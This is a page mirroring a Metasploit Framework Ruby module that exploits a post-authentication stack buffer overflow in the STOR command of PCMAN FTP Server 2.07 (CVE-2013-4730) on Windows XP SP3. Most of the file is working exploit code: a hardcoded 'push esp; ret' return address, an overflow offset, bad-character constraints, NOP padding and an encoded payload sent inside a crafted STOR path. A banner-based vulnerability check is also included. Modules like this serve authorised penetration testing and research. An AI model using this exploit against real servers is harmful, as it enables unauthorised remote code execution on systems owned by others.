Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/pcman_stor.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow vulnerability found in the STOR command of the
18
PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
19
note authentication is required in order to trigger the vulnerability. The overflowing
20
string will also be seen on the FTP server log console.
21
},
22
'Author' => [
23
'Christian (Polunchis) Ramirez', # Initial Discovery
24
'Rick (nanotechz9l) Flores' # Metasploit Module
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2013-4730' ],
29
[ 'OSVDB', '94624'],
30
[ 'EDB', '27703']
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'process',
34
'VERBOSE' => true
35
},
36
'Payload' => {
37
'Space' => 1000,
38
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
39
},
40
'Platform' => 'win',
41
'Targets' => [
42
[
43
'Windows XP SP3 English',
44
{
45
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
46
'Offset' => 2011
47
}
48
],
49
],
50
'DisclosureDate' => '2013-06-27',
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
end
60
61
def post_auth?
62
true
63
end
64
65
def check
66
c = connect_login
67
disconnect
68
69
if c and banner =~ /220 PCMan's FTP Server 2\.0/
70
# Auth is required to exploit
71
vprint_status("Able to authenticate, and banner shows the vulnerable version")
72
return Exploit::CheckCode::Appears
73
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
74
vprint_status("Unable to authenticate, but banner shows the vulnerable version")
75
# Auth failed, but based on version maybe the target is vulnerable
76
return Exploit::CheckCode::Appears
77
end
78
79
return Exploit::CheckCode::Safe
80
end
81
82
def exploit
83
c = connect_login
84
85
# Auth failed. The mixin should show the error, so we just bail.
86
return unless c
87
88
# Username is part of the overflowing string, so we need to account for that length
89
user_length = datastore['FTPUSER'].to_s.length
90
91
print_status("Trying victim #{target.name}...")
92
sploit = rand_text_alpha(target['Offset'] - user_length)
93
sploit << [target.ret].pack('V')
94
sploit << make_nops(4)
95
sploit << payload.encoded
96
sploit << rand_text_alpha(sploit.length)
97
98
send_cmd(["STOR", "/../" + sploit], false)
99
disconnect
100
end
101
end
102
103